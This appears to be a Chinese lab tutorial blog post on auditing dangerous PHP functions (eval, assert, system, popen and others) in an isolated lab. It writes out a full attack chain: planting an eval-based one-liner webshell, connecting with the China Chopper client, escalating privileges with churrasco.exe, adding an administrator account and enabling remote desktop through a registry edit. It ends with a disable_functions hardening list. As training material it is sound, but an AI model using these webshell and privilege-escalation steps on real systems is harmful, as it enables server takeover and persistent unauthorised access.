代码审计基础-PHP 危险函数及特殊函数

代码审计基础-PHP 危险函数及特殊函数
实验环境说明:
渗透机:kali
Kali Linux)用户名:root 密码:123456
靶 机:Windows 2003 用户名:administrator 密码:空 客户端:Windows 7 
用户名:administrator 密码:aaaabc
第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机 IP 地址:
Kali Linux
Windows2003
Windows 7
第二步,使用渗透机 Kali Linux 中的浏览器,访问靶机网站 Windows2003
的 board 目录:
http://172.16.1.200 (靶机 IP 地址)/board/
进入 PHP 代码的调试页面,我们可以在此页面执行 指定的 PHP 命令、完成本次
实验
第三步,首先是 phpinfo()函数 phpinfo()函数用于输出 PHP 环境、Web 环境 以及 相关模块等信息。
在左侧代码 调试框 中输入“phpinfo();”(注意,每行语句末尾都有分号“;”,如果
添加分号 ,页面 出现 报错 信息: “syntax error”),即可获得返回结果
在 PHP Info 中,我们能看到许多关于 PHP 的运行信息。比较重要的参数
1)按组合键 Ctrl+F 或点击浏览器菜单中的“Find”按钮,打开搜索框,搜索重要
信息 2)搜索“_server[“script”,获取当前 Web 服务所在的目录
执行 phpinfo()函数的 PHP 存在于“C:/AppServ/www/board/show.php”中, 此时浏
览器访问的是 “/board/”页面,由此推算 网站的真实根目录在“C:/AppServ/www”
3)搜索“_server[“server_addr]”
通过 SERVER_ADDR,我们可以获取服务器的真实 IP 地址 可以 绕过 CDN 访问
该主机,还可以扫描主机的旁站。
4)搜索“_env[“username” 通过 USERNAME,可以获取到当前 PHP 服务所使用的用户。如果 PHP 服务使用
的是 System 系统用户,Web 服务 一旦存在漏洞, 恶意利用者通过 PHP 得到系
统的最高控制权限
使用 Win+R 键-输入 services.msc-找到 Web 服务(这里为 Apache),在属性中
修改 Apache 运行的用户
5)搜索“php.ini”: 你可以通过 phpinfo,找到 PHP 配置文件 php.ini 的所在位置。如果你在修改
php.ini,并且重启以后,发现修改没有生效,可以通过 phpinfo 来查询 php.ini
的位置,确定配置文件是 修改正确。
6)搜索“php core”:
通过 PHP Core,能看到配置文件中的参数是否启用,这对渗透 测试的 过程 将会
很大 帮助:
(1) allow_url_fopen&allow_url_include
这两个参数经常被文件包含漏洞所利用,如果这两项开启,可能会导致文件包含
漏洞产生
(2) disable_functions
被禁用的 函数 。这些被禁用的不能在 PHP 当中使用
当前配置下所有的函数都没有被禁用。
(3) 错误提示
调试过程中经常使用的错误提示。在没有关闭的情况下,放入生产环境是不堪设
想的。如果错误提示开启,可以尝试通过“报错注入”的方法对站点进行 渗透测试
(4) enable_dl 可以针对每个虚拟机或每个目录开启或关闭 dl() 函数 动态加载 PHP 模块。
关闭动态加载的主要原因是为了安全。通过动态加载,有可能忽略所有
open_basedir 限制。默认允许动态加载,除了使用安全模式。在安全模式
无法使用 dl() 函数的
(5) extension_dir
PHP 扩展文件所在的位置
(6) include_path
PHP 用 include()函数包函文件时的默认路径
(7) open_basedir
文件读取时的目录限制
(8) short_open_tag
判断服务器是不是支持短标签,这在写 Shell 的时候很有帮助。
通常我们的 PHP 文件以“<?php”开头,开启短标签后,可以只写“<?”
第四步,在左侧代码 调试框 中输入:
eval(phpinfo()); eval()函数可以执行 PHP 命令。通常在写入一句话木马时使用。
在左侧输入:
eval($_GET[‘cmd’]);
点 击 “ 执 行 ” 后 , 返 回 了 空 白 内 容 。 此 时 该 代 码 已 经 被 写 入 到 了 网 站 的
/board/show.php 当中。我们直接访问/board/show.php
同样没有内容。我们刚刚使用$_GET[‘cmd’],代表可以以“cmd”为密码,在 URL
中传入字符串。访问以下地址:
http://172.16.1.200/board/show.php?cmd=phpinfo() ; 这样,我们就可以直接通过 URL 来执行任意的 PHP 命令了。至于哪些 PHP 命令
可以获取系统的控制权限,我们在后面会写到。
第五步,返回“/board/”页面,在左侧输入:
assert(phpinfo());
assert()的作用与 eval()基本相同,都是用来执行 PHP 命令。eval()可以将字符串
解析为 PHP 命令,而 assert()内必须是 PHP 语句,不能是字符串。
允许的:eval(‘phpinfo()’); eval(phpinfo()); assert(phpinfo()); 不允许的:assert(‘phpinfo()’);
第六步,输入“system(‘whoami’);”
通过 system()函数,我们可以直接执行系统命令。这里我们执行了“whoami”,获
得返回至“nt authority\network server”,即:当前 Web 服务使用“network service”
用户启动,该用户属于“nt authority”组。
此函数可以和 eval()函数相配合,达到系统命令执行的效果:
1)在代码调试框填写 eval($_GET[‘cmd’]);,表示使用“cmd”作为密码执行来自 URL
的 PHP 代码,点击“执行”,PHP 代码将被写入至/board/show.php
2)访问 http://172.16.1.200/board/show.php?cmd=system(‘dir’) ;
由于浏览器编码原因,中文可能是乱码的。但我们可以看到当前目录下有 3 个文 件。通过 eval()和 system()函数组合,就可以达到利用 PHP 文件执行系统命令的
效果。
3)除了 system()函数,还有三个与之相近的函数:
exec() 不输出结果,返回最后一行 shell 结果,所有结果可以保存到一个返回的
数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
如 果 对 方 的 服 务 器 禁 用 了 system()函 数 , 我 们 也 可 以 尝 试 使 用 exec()或
passthru(),
shell_exec() 是 PHP 中的一个内置函数,用于通过 shell 执行命令并以字符串的形
式返回完整的输出。
这三个函数和system()不同的是,system()不需要使用“echo()”输出函数进行输出,
它会自动输出返回结果。
第七步,输入:
$cmd = popen('net user', 'r'); while (!feof($cmd)) {
$result .= fread($cmd, 64);
}
pclose($cmd);
echo $result;
通过 popen()也可以执行系统命令。
代码解释:
1)
$cmd = popen('net user', 'r');
通过 popen 打开一个 cmd 的管道,在管道中输入“net user”命令,“r”是“read”,
即打开一个读的管道。我们在输入“net user”以后,需要获得返回的结果,所以
需要读的管道。
2)
while (!feof($cmd)) {
$result .= fread($cmd, 64);
}
使用 fread($cmd, 64),将$cmd 管道中输出的内容,每次输出 64 字节。
while 命令用于循环,每次输出 64 字节,直到没有输出了为止。 .= 前面的“点”,即追加的意思,在$result 字符串的后面追加,而不是覆盖,组
成完整的字符串。
3)
pclose($cmd);
输出完毕,将管道关闭。
4)
echo $result;
echo 命令,将$result 字符串中的内容显示出来。
第八步,使用 getenv 获取 PHP 信息:
echo getenv(“script_filename”);
echo “<br>”;
echo getenv(“document_root”);
echo “<br>”;
echo getenv(“server_software”);
echo “<br>”; 用于打印换行符。
通过 getenv(),我们也可以获取在 phpinfo()中获取到的配置信息。部分参数如下: 第九步,现在我们尝试使用 eval 函数,配合“中国菜刀”取得靶机的完全控制权。
1)在调试栏写入一个一句话木马:
<?php @eval($_POST[‘cmd’]); ?>
“@”可以关闭函数错误输出,$_POST 是从 HTTP 的头部接收“cmd”的值,然后执
行。
2)点击“执行”以后,这条语句就被写入到了/board/show.php: 第十步,切换至 Windows 7 , 在 Windows 7 客户端 的 地 址 栏 中 输 入
ftp://172.16.1.200 (服务器 IP), 下 载 服 务 器 中 的 中国菜刀 和提权工具
churrasco.exe。
第十一步,打开中国菜刀,在主界面右键-添加:
地址为 http://172.16.1.200/board/show.php(靶机一句话木马位置);
右侧密码为 cmd(一句话木马中有写);
类型选择 PHP(Eval)。 第十二步,返回主界面,右键刚刚添加的地址-虚拟终端
第十三步,输入 whoami,发现当前账户为 network services,非管理员账户,权
限较低
第十四步,返回主界面,在一句话木马处右键打开文件管理 第十五步,将本地的 churrasco.exe 拖入到网站根目录 C:\AppServ\www 中,上
传成功
第十六步,在终端中测试 churrasco.exe 上传成功并且可以使用:
cd C:\AppServ\www
churrasco.exe 第十七步,使用以下命令创建账户 hacker,密码 123456,并将其设置为管理员
组成员:
churrasco.exe "net user hacker 123456 /add"
churrasco.exe "net localgroup administrators hacker /add"
第十八步,使用 net user hacker 命令验证 hacker 是否已经 属于 Administrators
第十九步,修改注册表开启远程桌面,输入命令:
churrasco.exe "REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal"""
"""Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f" 第二十步,在 Windows 7 客户端 按 Win+R 键或点击开始菜单-运行,输入 mstsc
第二十一步,输入服务器 IP 地址后点击连接
第二十二步,登录 hacker/123456 第二十三步,进入远程桌面,打开 cmd 输入 net user hacker 提权成功。
实验结束,关闭虚拟机。
【总结思考】
本章的学习中,我们了解到了通过 PHP 特殊函数进行渗透的方法。上述都是
高危且常用的函数。我们可以通过修改 php.ini 禁用上述的危险函数:
在 php.ini 中找到 disable_functions,将值修改为:
phpinfo,eval,assert,system,exec,passthru,shell_exec,popen,getenv
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

weixin_43708659

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值